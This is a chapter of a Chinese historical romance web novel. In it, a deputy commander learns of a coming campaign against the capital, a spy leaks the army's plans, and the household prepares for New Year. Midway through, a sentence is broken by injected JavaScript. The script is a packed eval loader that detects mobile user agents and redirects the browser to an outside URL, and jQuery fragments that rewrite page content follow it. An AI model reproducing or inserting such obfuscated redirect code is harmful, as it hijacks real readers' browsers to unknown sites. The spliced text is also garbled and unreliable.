111. 前夕

作品:《大将军对我念念不忘

    吴宴一鼓作气说完这些话之后,灰溜溜地出了书房,哪敢去看身后之人线条僵硬、紧绷得发青的脸。


    直至走进内屋,关上门后才微微舒了口气,转身便见一着绛红色束腰、形容明媚的女子朝他扑来,心尖冷不丁颤了一颤。


    人一进屋,季棠便欢欢喜喜地冲上前来,目若点漆,满含希冀地看着他:“怎么样?他是何反应,有没有大发雷霆?!”


    吴宴垂眸打量近在咫尺的少女,毫不夸张地说,她几乎是贴面而来,只要稍稍再低些头,便能轻而易举贴上她的唇。


    但他忍住了。


    同样是在军营里摸爬滚打,他很早便知,季棠身上半点没有士兵的汗馊酸臭味,相反,她极为注意个人卫生问题,每日都要沐浴,一块皂角只够她用半个月的时长。


    目下二人离得近,她吐纳之间皆是清冽芳香,好似不仅是普通的皂角香,他不由得被攫取住心神,愣怔了一瞬,滚了滚喉结。


    季棠察觉到他神游天外的状态,不满地皱了皱鼻子,抬手一掐他的右上臂:“说话呀!好歹给我点反应!”


    手臂上倏忽传来一阵痛痒之意,吴宴微微敛了心神,目光落在她还未离去的指尖,骤然间想到什么,往后退了半步,眉头微蹙:“你怎可随意进出男子的寝屋,莫非对其他人也是如此?”


    莫名其妙的指责令季棠心火蹭蹭往外冒,但她毕竟有求于人,也不好发作,只能忿忿道:“你又不是其他人,当然比不了。”


    吴宴身躯微僵,随即唇角勾勒出极浅的弧度,遂越过她径直走向屋内的矮几上,兀自坐下。


    “我按照你的要求,一字不落地都说给他听了,如你所愿,他发了好大一通火,直接让我滚了出来。”


    现在想想,吴宴后脊背处还隐约有冷汗浸透的凉意,若非是迫于某人的“淫威”之下,他才不会闲着没事干插手他人的感情事,不过见她烦闷的心情一扫而空,又突然觉得这件事干得值。


    季棠连连抚掌:“实乃大快人心!就应该让他知道,我阿妹何等尊贵,三心二意的男子怎能配得上她!”


    她颇为豪爽地拍了拍吴宴的肩膀,夸他这事干得不错,夜已深,她也不宜久留,转身要走时,却被他喊下。


    “季棠,明日我要回营清点兵马,不日便要上出征向东,直取京都。”


    季棠轻快的步伐骤然停下,神色微僵,心里“咚咚”地打起了鼓:“明日?为何如此着急,是他给你下的命令吗?”


    她只知道祝无恙召他进书房谈话,却不知商谈的是打战一事,转眼便是新年,偏偏要在年关时攻打京城,任谁也想不到。


    他起身走到她跟前,二人不过一臂之遥。


    “战事催急,刻不容缓,不过祝将军松了口,只说年前清点兵将,年后再行出发。”


    他敛眸认真地看她:“离开前,你……你可有什么话要和我说?”


    此去一别可能就是数月,世事无常,他也不知能不能完好无损地回来,若胜,他便能完成多年以来的夙愿,若败,他只想着不留遗憾结束着二十多年的光阴。


    过往数年,他孑然一身,无牵无挂,而现在,眼看建功立业的机会就在前头,他心里却有了羁绊,着实放心不下一人。


    季棠骤然心乱如麻,呼吸都急促了几分。


    须臾后,她抬眸看他:“我和你一起去!”


    吴宴蓦地怔忡僵硬,皮下的血管根根暴起,血液如滚烫的岩浆在身体里肆意冲刷,额角的青筋隐隐浮动,脉搏如擂鼓发出震荡的频率,待身体的热浪平息褪去,他竟奇迹般地冷静下来。


    哪怕他多么想让她陪伴在自己身边,但理智告诉他,此法不可。


    事实上,他亦是这样理性告诉她:“不行,我此去只带八千兵马,营中尚余一万兵马,你需要留下督促他们训练。”


    她情绪却是激动昂扬:“营中并非只有我一个副帅,为何独独要我留下?!难不成,因我是女子之身,就不配出战?!”


    “季棠!你冷静一点!八千兵马根本攻不下京都,将军安排我入京,是要我做卧底蛰伏在贺绍身边,此去境遇凶险,谁也无法保证能一举得胜,我不想让你冒险!”


    他盯着她一片惨白的脸庞,喉间发出震颤:“你明白吗?”


    半晌后,她僵硬到发凉的身躯终于有了一丝反应,嘴角扯出怪异的微笑:“我明白,说到底还是怕我无能坏了你们的大计,既然你们已经做了决定,我又何必添乱?留下便是了。”


    她转身决然地走了出去,他再伸手却只触到浮动的空气,望着门外红衣残影,心脏泛起剧烈的疼痛。


    *


    得知出征的消息后,季棠彻夜难眠,五更天便顶了个巨大的黑眼圈敲响隔壁的房门,苏怀黎睡得正沉,忽而被吵醒,又见季棠如“索魂女鬼”的扮相,夜半阴风呼呼袭来,后背直发凉。


    她忙将人邀入屋上榻,从红木衣橱中取出一套厚实的棉衾,把人裹上回暖,刚被吓了一遭,她浓浓的睡意也消了大半,二人躺在暖和的被窝中,聊起了少女的心事。


    三言两语苏怀黎就摸清了始末,对于吴宴挂帅出征这事她并不意外,前有苏怀景江枫入京为卧底,紧接着第二步计划,便是吴宴领兵假意归降,可她分明记得此计划安排在卯月,目下正月尚未到来,祝无恙就急急安排他点兵清将,是何用意?


    这几日她演戏演得入迷,干脆不见祝无恙,让外人看去好像两人关系真因丁楚容的插足破裂了一般,看来她避而不见的举动,让某人有些着急难耐了,是时候寻个时间偷偷见他一面,打探清楚他葫芦里卖的什么药。


    季棠还沉湎在悲伤的情绪中,苏怀黎软声细语地安慰了几句,半炷香之后,侧身就传来绵长的呼吸声,人被她哄睡着了,她笑了笑,拉过自己的被衾盖上,遂进入梦乡。


    翌日,晴光大好,苏怀黎拉着季棠起身去膳厅用早膳,却听闻祝无恙与吴宴一道去了军营,霜月起得早,天光未亮的时候就碰见二人打马离去,匆匆打了个照面,并未来得及问清缘由。


    季棠睡了一觉之后脑子清醒了许多,一改昨日萎靡的面貌,又恢复嘻嘻哈哈的模样。


    苏怀黎双手支颐若有所思,本想着今日偷偷去东厢房见他一面,谁知这人竟不辞而别,莫非是在躲着她?


    西厢房中,青莲兀自敲响一处的房门,得了首肯之后方才推门而入。


    丁楚容正在妆奁前对镜梳妆施粉,抽空斜眼乜了一眼来人:“何事?”


    她本有意拉拢青莲,但见这丫鬟几次三番不领情,唯苏怀黎马首是瞻,心中就抛却了这个念头,对青莲的态度就如同往日在丁府对下人一样,没什么好脸色。


    青莲施施然走到她跟前,福身道:“回丁小姐,将军让我来西厢房贴身侍候您。”


    丁楚容执着眉黛的手微微一顿,半晌后才反应过来:“是将军让你来的?他可有说是为何?”


    一提及祝无恙,丁楚容娇靥上忽而起了两朵云霞。


    原来他早就暗中关注她许久,知她素来娇贵,便贴心送上丫鬟侍候她,听说这府上,就连苏怀黎都没有近身侍候的丫鬟,有了他的吩咐,丫鬟对她的称呼,都从“姑娘”改为了“小姐”。


    青莲恭顺道:“将军同吴都尉去了军营,三五天之内回不了府,特意交代奴婢,冬日风刀如刃、邪寒肆虐,丁小姐又身娇体弱,怕府上对您照顾不周,不留神又染了风寒,是以让奴婢来伺候您。”


    丁楚容听后,心底如食了蜜糖那般甜滋滋,双颊潮红更甚。


    待平复下来后,明眸闪过浅浅精光,漫不经意问道:“临近年关,不是说军营里的士兵都放了假,怎的又去军营,莫非有战事要起?”


    “奴婢不知,”青莲惶惶然地摇了摇头,“不过……奴婢今早在膳厅听主子们谈话,说将军鲜少亲自练兵,恐怕是有大事发生。”


    屋内氛围倏忽凝重沉滞,丁楚容敛起眼尾细微的笑意,随手将眉黛扔入钿盒中。


    “吩咐下去备上马车,我今日要出趟门,正旦将至,这府上的衣裳棉服大多陈旧,也是时候该采买些新衣裳了。”


    青莲喏了声,徐徐退出去,轻声带上木门。


    丁楚容顺着支起的窗户往外探了探,见人没了影子,才放心关上窗牖,起身行至案桌前,研墨提起毫笔,在澄心堂纸上落下几笔簪花小楷,随后装入信封,火漆封口,塞入广袖中。


    马车停在府邸门口,正是那日从县衙送丁楚容回府的那驾马车。


    丁楚容在车夫的搀扶上躬身进了车内,放下黛青帷帐,车厢左右的窗户严实拉上,钻不进一丝寒风,但她却发觉脊背冰凉,心脏咚咚作响,手心紧紧攥着,须臾后起了潮湿。


    她要去的地方,是城中的一家成衣坊,名为云仙阁。


    下车后,青莲正要搀扶她进去,却听她道:“我试衣服的时候向来不喜有人在身边,你且在这候着吧。”


    青莲应是。


    年节将至,云仙阁门庭若市,客人多至摩肩接踵,贫苦人家一年到头也就盼着买件得体的衣裳舒服过年,一眨眼的功夫,丁楚容便消失在了人海中。


    她挤开人群,从云仙阁的后门出来,直奔街巷后一个破败的小屋,摇摇欲坠的木门被嘎吱关上,她背着门,大口大口地喘着气,才得以平复紧张的心跳。


    大汉见消失几日的丁楚容忽而现身,咧嘴笑道:“小姐,有消息了?”


    丁楚容冷静半刻后,掏出火漆封口的信笺塞给他:“告诉王爷,祝无恙起兵在即,营中不少于两万精兵良将,不容小觑。”


    这大汉,便是那日在粥棚闹事之人,而闹事者的“亲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883789|163872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    戚”俱在屋内,屋内狭小闭塞,空气中浮动着专属男人的体味,丁楚容蹙眉抬手掩住鼻息,脸上嫌弃之色显露无疑。


    屋内其他人听了这消息,无不欢欣鼓舞,大汉更是振奋:“不亏是丁家小姐,任他将军还是元帅,不尽在您的股掌之中?!”


    “不过小姐,前几日有几位官兵模样的人上门搜查,说是清点人口,我按照您的吩咐,只说是与带着年迈的父亲与亲戚从北地宁州逃难至此,方落脚不过月余,您说,他们不会疑心我们的来历吧?您拿个主意,要不我们再寻另一块地躲起来,他们定然找不到。”


    大汉口中的他们,便是陈氏府邸上住的那群人,当日他聚众闹事,侥幸脱逃,后被官兵搜查,想来隐隐有暴露的风险。


    丁楚容皱眉轻喝道:“蠢货!现在搬家岂不是应了此地无银三百两,让人看了便知你是心虚,你们且在此地住下,切勿节外生枝。”


    大汉被训斥一番,只得悻悻应声,丁楚容推开门,四下望望无人跟来,便拎起裙摆绕着街巷,重新进了云仙阁的后门。


    她装模作样地选了两件布料上好的衣裳,结了银子打包后交给青莲,兀自上了马车。


    府上这几日相安无事,粥棚外挂了牌子,只说歇业安置,年后再行开张,苏怀黎从县衙公库中登出了几百两银子,给老百姓们添衣过年。


    义工们不用忙于熬粥施粥,苏怀黎领他们进账房结了帮工的银钱、包上红封,比当初答应给他们的工钱还要翻了一倍,义工们无不感恩戴德,青莲在府上与苏怀黎最为亲近,目下虽安排去了丁楚容的屋子,但每日申时都会借着送膳的由头去她屋内,半炷香之后才出。


    青莲不随义工们一同离开,签了长期工契,有几位见状,纷纷效仿青莲此举,不用签卖身契,得高府宅门庇佑,主子宅心仁厚,菩萨心肠,结的银钱更是丰厚,这世道,没有比在府上当工更舒服的活了。


    愿意留下了签长契的小厮丫鬟和年长的仆妇,很自觉地领了活计,小厮去县衙给阿忠阿进打下手,丫鬟仆妇们则忙活新年置办的事宜。


    陈氏府邸正式更名为明善邸,请的是县中德高望重的老乡绅提字,笔锋遒劲,入木三分,黑底金漆的横匾挂在了明善居的府门檐下。


    明善邸的祠堂荒废许久,洒扫丫鬟清扫去厚厚的网尘,小心翼翼搬来佛龛供奉佛像,堂前燃上佛手柑制成的香,杀了三牲祭在祠堂,于此同时,采买胭脂水粉、写春联的宣纸、大红灯笼等等不在话下。


    待祝无恙与吴宴回府时,已是正旦前夕。


    明善邸灯火幢幢,院落各角、甬道两侧都挂了红火的灯笼,一片张灯结彩、年味十足。


    仆妇丫鬟正在准备明日正宴的食材,忙得脚不沾家,见将军、都尉回府,匆匆行完礼后继续投入繁忙中。


    二人先去了东厢房,书房内,丁楚容忙着翻腾博古架上的书卷锦帛,忽闻门口传来橐橐步声,呼吸骤然停滞,忙躲入屏风后。


    她不知祝无恙今日回府,书房内的物件她觊觎许久,今日趁着下人们忙里忙外,无人注意时,匆匆进了这屋,试图翻出一些有用的消息,目下她躲在屏风后,手脚冰凉,冷汗直冒,死死地捂着嘴,生怕泄露一丝呼吸声,否则这一切筹划都将功亏一篑。


    她屏息静听,二人果真是在商讨年后出征京都的计划,正月是一年之中最重要的月份,意在出其不意攻其不备,杀贺绍一个猝不及防,出征日期商定在了正月初五,八千精锐骑兵,直捣都城。


    半炷香之后,二人出了书房,丁楚容骤然泄气,径直瘫软在了地上。


    *


    苏怀黎今日起身后便在祠堂忙活祭祀事宜,此地祠堂并非供奉先祖,而是跪拜佛祖菩萨,与苏府后院的那处小佛堂极为相似。


    堂内燃了用于祭天的紫檀香,她着素衣跪于堂中,双手合十,怀着一颗虔诚的心,求佛祖保佑来年诸事顺遂,百姓免于灾祸。


    她在蒲团上足足给跪了半个时辰方才起身,膝盖处传来尖锐的刺痛,如蚂蚁啮咬啃噬。


    出了祠堂后才知军营的二人回了府,她抬脚正要往东厢房的方向去,停了片刻后,又转身去了西厢房。


    目下时候尚早,等天色彻底暗下再去找他也不迟,她这样打算后,微微跛着足回了自己的寝屋,推开门,却见一名着墨衣,身姿高大的男子兀自坐在屋内的矮榻上,目光定定地落下她身上。


    二人有几日未见,突然见到祝无恙,苏怀黎还有些许愣神,仍旧无法适应他未经允许擅自入屋的举动,下意识关上房门,生怕有人窥见。


    她见他眉间紧蹙,轮廓分明的脸上透着不豫,不自觉咽了咽喉咙,措辞道:“我本想等着天黑之后再去寻你的……”


    祝无恙沉着脸,快步朝她走来,在一阵娇呼声中将人打横抱起,径直走向床榻。